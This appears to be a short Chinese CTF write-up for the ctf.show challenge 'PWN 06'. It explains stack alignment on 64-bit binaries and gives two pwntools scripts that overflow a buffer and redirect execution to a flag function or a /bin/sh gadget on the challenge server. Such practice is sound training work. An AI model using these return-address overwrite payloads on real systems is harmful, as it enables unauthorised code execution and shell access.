堆栈平衡
在调用函数时,保证esp能正确恢复入栈之前的状态
推荐文章
堆栈平衡
PWN 06
可以看到这是一个64位的程序,需要考虑堆栈平衡
welcome函数和main函数就不看了,直接看getflag函数
这里需要将payload的先指向retn的地址维持堆栈平衡,最后添加函数的首地址,64位的用cyclic计算偏移的时候地址用后8位,记得加0x
exp
from pwn import *
p = remote("pwn.challenge.ctf.show",28103)
payload = b'a'*(0xc+8) + p64(0x40058E) + p64(0x400577)
p.sendline(payload)
p.interactive()
exp很简单就不解释了,当然这里还可以这样实现,我们直接将地址指向 bin/sh
exp2
from pwn import *
p = remote("pwn.challenge.ctf.show",28103)
payload = b'a'*(0xc+8) + p64(0x400578)
p.sendline(payload)
p.interactive()